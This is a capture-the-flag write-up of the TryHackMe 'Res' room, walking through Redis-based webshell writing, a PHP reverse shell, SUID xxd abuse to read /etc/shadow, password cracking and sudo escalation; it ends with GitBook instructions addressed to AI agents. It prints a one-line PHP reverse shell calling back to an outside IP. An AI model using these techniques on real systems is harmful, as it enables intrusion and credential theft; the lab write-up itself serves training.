# Res

## Res - Writeup

**Date**: 27/03/2022

**Difficulty**: Easy

**CTF**: <https://tryhackme.com/room/res>

***

Hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge!

## Scan the machine, how many ports are open?

<figure><img src="/files/xWQMRW6QPLWCWJC4RTIO" alt=""><figcaption></figcaption></figure>

## What’s the database management system installed on the server? What port is the database management system running on?What's is the version of management system installed on the server?

<figure><img src="/files/lfLDEpdg6rAitv6SmViS" alt=""><figcaption></figcaption></figure>

## Compromise the machine and locate user.txt

First of all, let’s visit the webpage hosted on the port 80:

<figure><img src="/files/p1CXElgekIkqg97JUJj7" alt=""><figcaption></figcaption></figure>

It displays a default page of an apache server recently installed.

As we have seen, there is a redis server running on port 6379. After some reading, I found that there is a way to interact with this service.

Let’s download the redis application:

<https://redis.io/docs/getting-started/>

<https://redis.io/docs/manual/cli/>

Let’s test the connection:

<figure><img src="/files/ty4ckHuZqdEAG4dCdXvD" alt=""><figcaption></figcaption></figure>

It seems like we have connection with the redis server!

<figure><img src="/files/RfSfPYbtbId2u93yGH83" alt=""><figcaption></figcaption></figure>

The info command seems to be helpful to retrieve redis server information:

<figure><img src="/files/w66VUjjLen5o7i365Ebk" alt=""><figcaption></figcaption></figure>

According to this webpage (<https://book.hacktricks.xyz/pentesting/6379-pentesting-redis>) there is a way to do a Remote Code Execution on a redis server:

<figure><img src="/files/2QBDB9cwVv5v8TKzdFst" alt=""><figcaption></figcaption></figure>

We should know the path where we want to write the php file. Since we have visited the page before, we know that the folder is: `/var/www/html`

So, following the steps we do the same in our case:

<figure><img src="/files/tuW5VmPuGYQiOxzzNjt6" alt=""><figcaption></figcaption></figure>

Now let’s visit the page:

<figure><img src="/files/hhZCmyGL3Jx56SK4Dxyq" alt=""><figcaption></figcaption></figure>

It works, now let’s try to write a reverse shell in php:

<figure><img src="/files/IxiD8ogaxky7RmjANCTx" alt=""><figcaption></figcaption></figure>

Let’s open a netcat listener in our machine:

<figure><img src="/files/83D3EsBBq4hJQCoF19e8" alt=""><figcaption></figcaption></figure>

And let’s visit the rs.php file:

<figure><img src="/files/Q8xGt3tyuVkHDMz8Lqzr" alt=""><figcaption></figcaption></figure>

We got a connection but it quickly disconnects...

Let’s try with this other one-line php reverse shell:

```jsx
'<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.8.36.26/1234 0>&1\'"); ?>'
```

<figure><img src="/files/eIdcTCMcHfR18lxBPtl6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oryWeDvC1pf5UDj0XSPC" alt=""><figcaption></figcaption></figure>

Yeah, this one works!

<figure><img src="/files/DIwun2ynawCUWMQhT0yH" alt=""><figcaption></figcaption></figure>

We found the key file in the /home/vianka folder.

## What is the local user account password?

Before anything, let’s try to stabilize this shell:

<figure><img src="/files/TDI8xhE5ivl0vhW0uVGz" alt=""><figcaption></figcaption></figure>

Python is installed in the machine, so let’s use it:

<figure><img src="/files/LPf8BzOJ27skAp8NRXq9" alt=""><figcaption></figcaption></figure>

Ok, shell stabilized, now let’s look for the local user account password. Can we read /etc/shadow file?

<figure><img src="/files/fy9N3QWjMOKyetdO8cnH" alt=""><figcaption></figcaption></figure>

Nope, we can’t.

Something interesting in the history?

<figure><img src="/files/DnuheHkBRiiuukCamIXv" alt=""><figcaption></figcaption></figure>

Let’s see if we find some keys in the user directory... nothing useful I can see...

After spending some time looking for ssh keys or something useful, I look for files with SUID activated:

<figure><img src="/files/HkYZsBvZV2lZj56nY1IC" alt=""><figcaption></figcaption></figure>

From this list, xxd appears in the GTFO Bins list:

<figure><img src="/files/KMQvuRrlWCGvxgND7pfD" alt=""><figcaption></figcaption></figure>

Exploiting this, we should be able to read /etc/shadow file!

<figure><img src="/files/GmKzoOMOyGFs9WG8ayNg" alt=""><figcaption></figcaption></figure>

Yeah! Now with the info of /etc/passwd, let’s use unshadow and John the ripper to crack the hash!

<figure><img src="/files/QRch5hwpwZJU03Jx4M2Q" alt=""><figcaption></figcaption></figure>

Unshadow done, now let’s crack it!

<figure><img src="/files/ZHvkwAjk0U4HDFSHkign" alt=""><figcaption></figcaption></figure>

Cool!

## Escalate privileges and obtain root.txt

Let’s login as vianka and see if we have more permissions:

<figure><img src="/files/KE7FD55rWiNxrFsEOiya" alt=""><figcaption></figcaption></figure>

Enough permissions to access to root folder?

<figure><img src="/files/paGprDuBE87NLMAR5EDg" alt=""><figcaption></figcaption></figure>

Nope. Let’s see what we can execute with sudo:

<figure><img src="/files/F7AgC3k5dHZQyGQunnpS" alt=""><figcaption></figcaption></figure>

Really? We can run any command using sudo...

<figure><img src="/files/zA5ecMCroZM8kFOUpiyF" alt=""><figcaption></figcaption></figure>

Woah

<figure><img src="/files/B4Jsu8Dvwo6hTZeFOJA6" alt=""><figcaption></figcaption></figure>

And this quickly we get the last flag!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/thm/2022/res.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
